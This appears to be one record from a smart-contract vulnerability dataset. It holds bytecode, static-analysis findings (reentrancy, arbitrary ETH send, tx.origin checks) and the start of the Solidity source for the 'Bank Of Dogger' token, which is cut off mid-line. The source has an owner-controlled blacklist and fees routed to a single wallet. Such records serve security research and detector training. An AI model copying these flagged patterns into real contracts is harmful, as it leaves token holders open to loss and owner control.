00401611d6990614079565b60405180910390fd5b600560009054906101000a900460ff1615611dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db990614464565b60405180910390fd5b611dca61307e565b565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5790614079565b60405180910390fd5b6000611e6b306114ac565b905060008111611eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea7906148e5565b60405180910390fd5b611eb9816131b6565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc890614079565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff1602179055508082846120359190614905565b61203f9190614905565b600b806101000a81548161ffff021916908361ffff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e490614079565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6121099190614267565b633b9aca0061211891906142b2565b61212291906142b2565b61212c919061473a565b6008819055508063ffffffff168263ffffffff166009600a61214e9190614267565b633b9aca0061215d91906142b2565b61216791906142b2565b612171919061473a565b60098190555050505050565b600b60009054906101000a900461ffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c90614079565b60405180910390fd5b6000600b60026101000a81548160ff021916908360ff1602179055506007600261224f919061493d565b600b60036101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f090614079565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161236891906149d7565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146123c457600190506123c9565b600090505b919050565b600b600d9054906101000a900460ff1681565b600560009054906101000a900460ff1681565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff166124229190614905565b90506000600b60079054906101000a900461ffff1661ffff1611156124d957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff16856124a291906142b2565b6124ac919061473a565b9081150290604051600060405180830381858888f193505050501580156124d7573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff16111561258e57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff168561255791906142b2565b612561919061473a565b9081150290604051600060405180830381858888f1935050505015801561258c573d6000803e3d6000fd5b505b5050565b43600c5411806125a457506000600c54145b156125bf578060ff16436125b8919061476b565b600c819055505b50565b60008060009050600560009054906101000a900460ff16156125e75760019050612641565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561264057600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156126b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b090614a3e565b60405180910390fd5b43600c5411156127ee577f00000000000000000000000000000000000000000000000000000000167ff21f63ffffffff167f0000000000000000000000000000000000000000000000000000000018c7cd5063ffffffff168461271c9190614a5e565b73ffffffffffffffffffffffffffffffffffffffff161415612747576127426001612592565b6127e9565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561279e5761279983436133d5565b6127e8565b6127e783600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133d5565b5b5b612908565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461287f5761287e83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133d5565b5b600f60009054906101000a900460ff1660ff16600c5461289f919061476b565b431080156128ac5750483a115b15612907576000483a6128bf91906143e4565b90506010548110612905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fc90614adb565b60405180910390fd5b505b5b600560009054906101000a900460ff16801561296457506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b80156129ae575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b156129ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e590614b47565b60405180910390fd5b601260149054906101000a900460ff16158015612a545750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a6257612a616134f7565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612aca57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612b22575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612b7157612b31838361368b565b612b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6790614bb3565b60405180910390fd5b5b6000612b7e8585856137cb565b905060008184612b8e91906143e4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdb91906143e4565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612cb65781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c72919061476b565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d01919061476b565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612da19190613c3a565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612f9d577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612f949190613c3a565b60405180910390a35b50565b600081612fcb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161303296959493929190614c0e565b60606040518083038185885af1158015613050573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130759190614c84565b50505050505050565b60064361308b919061476b565b600c819055506009600a61309f9190614267565b6127106009600a6130b09190614267565b633b9aca006130bf91906142b2565b60336130cb91906142b2565b6130d5919061473a565b6130df919061476b565b6006819055506009600a6130f39190614267565b6127106009600a6131049190614267565b633b9aca0061311391906142b2565b603361311f91906142b2565b613129919061473a565b613133919061476b565b6007819055506005600b60026101000a81548160ff021916908360ff16021790555060076003613163919061493d565b600b60036101000a81548160ff021916908360ff1602179055506005600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b6131bf81612db6565b6000600267ffffffffffffffff8111156131dc576131db614cd7565b5b60405190808252806020026020018201604052801561320a5781602001602082028036833780820191505090505b509050308160008151811061322257613221614d06565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156132c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ed91906145dd565b8160018151811061330157613300614d06565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161339f959493929190614df3565b600060405180830381600087803b1580156133b957600080fd5b505af11580156133cd573d6000803e3d6000fd5b505050505050565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561346e57506000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156134f35780600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b600081819054906101000a900461ffff16809291906134d790614e4d565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6001601260146101000a81548160ff021916908315150217905550600061351d306114ac565b9050600854811015801561353d5750600560009054906101000a900460ff165b1561366d5760095481106135515760095490505b60006002600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff168461358891906142b2565b613592919061473a565b61359c919061473a565b9050600081836135ac91906143e4565b905060004790506135bc826131b6565b600081476135ca91906143e4565b90506000600b60059054906101000a900461ffff1661ffff16111561364f576000600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff168361361e91906142b2565b613628919061473a565b905061363385612db6565b61364d8582600b600d9054906101000a900460ff16612fa0565b505b6000479050600081111561366757613666816123f4565b5b50505050505b506000601260146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156136f85750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137c15760065483111561371057600090506137c0565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156137b5575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546137b3919061476b565b115b156137bf57600090505b5b5b8091505092915050565b600080600560009054906101000a900460ff1615806138335750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806138875750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561389557600090506139ca565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613918576064600b60029054906101000a900460ff1660ff168461390791906142b2565b613911919061473a565b90506139c9565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561399b576064600b60039054906101000a900460ff1660ff168461398a91906142b2565b613994919061473a565b90506139c8565b6064600b60049054906101000a900460ff1660ff16846139bb91906142b2565b6139c5919061473a565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a0f5780820151818401526020810190506139f4565b83811115613a1e576000848401525b50505050565b6000601f19601f8301169050919050565b6000613a40826139d5565b613a4a81856139e0565b9350613a5a8185602086016139f1565b613a6381613a24565b840191505092915050565b60006020820190508181036000830152613a888184613a35565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613ac082613a95565b9050919050565b613ad081613ab5565b8114613adb57600080fd5b50565b600081359050613aed81613ac7565b92915050565b6000819050919050565b613b0681613af3565b8114613b1157600080fd5b50565b600081359050613b2381613afd565b92915050565b60008060408385031215613b4057613b3f613a90565b5b6000613b4e85828601613ade565b9250506020613b5f85828601613b14565b9150509250929050565b60008115159050919050565b613b7e81613b69565b82525050565b6000602082019050613b996000830184613b75565b92915050565b600060ff82169050919050565b613bb581613b9f565b8114613bc057600080fd5b50565b600081359050613bd281613bac565b92915050565b600080600060608486031215613bf157613bf0613a90565b5b6000613bff86828701613bc3565b9350506020613c1086828701613bc3565b9250506040613c2186828701613bc3565b9150509250925092565b613c3481613af3565b82525050565b6000602082019050613c4f6000830184613c2b565b92915050565b600080600060608486031215613c6e57613c6d613a90565b5b6000613c7c86828701613ade565b9350506020613c8d86828701613ade565b9250506040613c9e86828701613b14565b9150509250925092565b613cb181613b9f565b82525050565b6000602082019050613ccc6000830184613ca8565b92915050565b600060208284031215613ce857613ce7613a90565b5b6000613cf684828501613b14565b91505092915050565b600060208284031215613d1557613d14613a90565b5b6000613d2384828501613ade565b91505092915050565b613d3581613b69565b8114613d4057600080fd5b50565b600081359050613d5281613d2c565b92915050565b60008060408385031215613d6f57613d6e613a90565b5b6000613d7d85828601613ade565b9250506020613d8e85828601613d43565b9150509250929050565b60008060408385031215613daf57613dae613a90565b5b6000613dbd85828601613ade565b9250506020613dce85828601613ade565b9150509250929050565b613de181613ab5565b82525050565b6000602082019050613dfc6000830184613dd8565b92915050565b600061ffff82169050919050565b613e1981613e02565b8114613e2457600080fd5b50565b600081359050613e3681613e10565b92915050565b60008060408385031215613e5357613e52613a90565b5b6000613e6185828601613e27565b9250506020613e7285828601613e27565b9150509250929050565b600080600060608486031215613e9557613e94613a90565b5b6000613ea386828701613e27565b9350506020613eb486828701613e27565b9250506040613ec586828701613e27565b9150509250925092565b600063ffffffff82169050919050565b613ee881613ecf565b8114613ef357600080fd5b50565b600081359050613f0581613edf565b92915050565b60008060008060808587031215613f2557613f24613a90565b5b6000613f3387828801613ef6565b9450506020613f4487828801613ef6565b9350506040613f5587828801613ef6565b9250506060613f6687828801613ef6565b91505092959194509250565b613f7b81613e02565b82525050565b6000602082019050613f966000830184613f72565b92915050565b6000613fa782613a95565b9050919050565b613fb781613f9c565b8114613fc257600080fd5b50565b600081359050613fd481613fae565b92915050565b600060208284031215613ff057613fef613a90565b5b6000613ffe84828501613fc5565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614063602a836139e0565b915061406e82614007565b604082019050919050565b6000602082019050818103600083015261409281614056565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b60006140cf600c836139e0565b91506140da82614099565b602082019050919050565b600060208201905081810360008301526140fe816140c2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561418b5780860481111561416757614166614105565b5b60018516156141765780820291505b808102905061418485614134565b945061414b565b94509492505050565b6000826141a45760019050614260565b816141b25760009050614260565b81600181146141c857600281146141d257614201565b6001915050614260565b60ff8411156141e4576141e3614105565b5b8360020a9150848211156141fb576141fa614105565b5b50614260565b5060208310610133831016604e8410600b84101617156142365782820a90508381111561423157614230614105565b5b614260565b6142438484846001614141565b9250905081840481111561425a57614259614105565b5b81810290505b9392505050565b600061427282613af3565b915061427d83613b9f565b92506142aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614194565b905092915050565b60006142bd82613af3565b91506142c883613af3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561430157614300614105565b5b828202905092915050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b60006143426011836139e0565b915061434d8261430c565b602082019050919050565b6000602082019050818103600083015261437181614335565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006143ae6010836139e0565b91506143b982614378565b602082019050919050565b600060208201905081810360008301526143dd816143a1565b9050919050565b60006143ef82613af3565b91506143fa83613af3565b92508282101561440d5761440c614105565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b600061444e6014836139e0565b915061445982614418565b602082019050919050565b6000602082019050818103600083015261447d81614441565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b60006144ba600f836139e0565b91506144c582614484565b602082019050919050565b600060208201905081810360008301526144e9816144ad565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b6000614526600e836139e0565b9150614531826144f0565b602082019050919050565b6000602082019050818103600083015261455581614519565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006145926009836139e0565b915061459d8261455c565b602082019050919050565b600060208201905081810360008301526145c181614585565b9050919050565b6000815190506145d781613ac7565b92915050565b6000602082840312156145f3576145f2613a90565b5b6000614601848285016145c8565b91505092915050565b600060408201905061461f6000830185613dd8565b61462c6020830184613dd8565b9392505050565b7f5a65726f2077616c6c6574206d75737420626520756e6c696d69746564000000600082015250565b6000614669601d836139e0565b915061467482614633565b602082019050919050565b600060208201905081810360008301526146988161465c565b9050919050565b7f4175746f4c5020616c72656164792073657420746f206275726e000000000000600082015250565b60006146d5601a836139e0565b91506146e08261469f565b602082019050919050565b60006020820190508181036000830152614704816146c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061474582613af3565b915061475083613af3565b9250826147605761475f61470b565b5b828204905092915050565b600061477682613af3565b915061478183613af3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156147b6576147b5614105565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006147f76010836139e0565b9150614802826147c1565b602082019050919050565b60006020820190508181036000830152614826816147ea565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006148636014836139e0565b915061486e8261482d565b602082019050919050565b6000602082019050818103600083015261489281614856565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006148cf6009836139e0565b91506148da82614899565b602082019050919050565b600060208201905081810360008301526148fe816148c2565b9050919050565b600061491082613e02565b915061491b83613e02565b92508261ffff0382111561493257614931614105565b5b828201905092915050565b600061494882613b9f565b915061495383613b9f565b92508160ff048311821515161561496d5761496c614105565b5b828202905092915050565b6000819050919050565b600061499d61499861499384613a95565b614978565b613a95565b9050919050565b60006149af82614982565b9050919050565b60006149c1826149a4565b9050919050565b6149d1816149b6565b82525050565b60006020820190506149ec60008301846149c8565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000614a28601d836139e0565b9150614a33826149f2565b602082019050919050565b60006020820190508181036000830152614a5781614a1b565b9050919050565b6000614a6982613a95565b9150614a7483613a95565b925082614a8457614a8361470b565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b6000614ac56014836139e0565b9150614ad082614a8f565b602082019050919050565b60006020820190508181036000830152614af481614ab8565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614b31600b836139e0565b9150614b3c82614afb565b602082019050919050565b60006020820190508181036000830152614b6081614b24565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614b9d6011836139e0565b9150614ba882614b67565b602082019050919050565b60006020820190508181036000830152614bcc81614b90565b9050919050565b6000819050919050565b6000614bf8614bf3614bee84614bd3565b614978565b613af3565b9050919050565b614c0881614bdd565b82525050565b600060c082019050614c236000830189613dd8565b614c306020830188613c2b565b614c3d6040830187614bff565b614c4a6060830186614bff565b614c576080830185613dd8565b614c6460a0830184613c2b565b979650505050505050565b600081519050614c7e81613afd565b92915050565b600080600060608486031215614c9d57614c9c613a90565b5b6000614cab86828701614c6f565b9350506020614cbc86828701614c6f565b9250506040614ccd86828701614c6f565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d6a81613ab5565b82525050565b6000614d7c8383614d61565b60208301905092915050565b6000602082019050919050565b6000614da082614d35565b614daa8185614d40565b9350614db583614d51565b8060005b83811015614de6578151614dcd8882614d70565b9750614dd883614d88565b925050600181019050614db9565b5085935050505092915050565b600060a082019050614e086000830188613c2b565b614e156020830187614bff565b8181036040830152614e278186614d95565b9050614e366060830185613dd8565b614e436080830184613c2b565b9695505050505050565b6000614e5882613e02565b915061ffff821415614e6d57614e6c614105565b5b60018201905091905056fea2646970667358221220144173d3cbeddc122506414e632cd25b151f1c2475e286eddf8e06151411579464736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,354
0x62f3ec00fd4d3e778d0f2506301fe372e5d97b84
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ /** *Submitted for verification at Etherscan.io on 2022-04-02 */ /* BANK OF DOGGER - DOGGER BANK Telegram: https://t.me/doggerbank Twitter: https://twitter.com/BankOfDogger */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BANKOFDOGGER is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Bank Of Dogger";////////////////////////// string private constant _symbol = "DOGGER BANK";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 10;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x9FAE449D34B38eB61da8852DC96Bde822df25514);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x9FAE449D34B38eB61da8852DC96Bde822df25514);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your 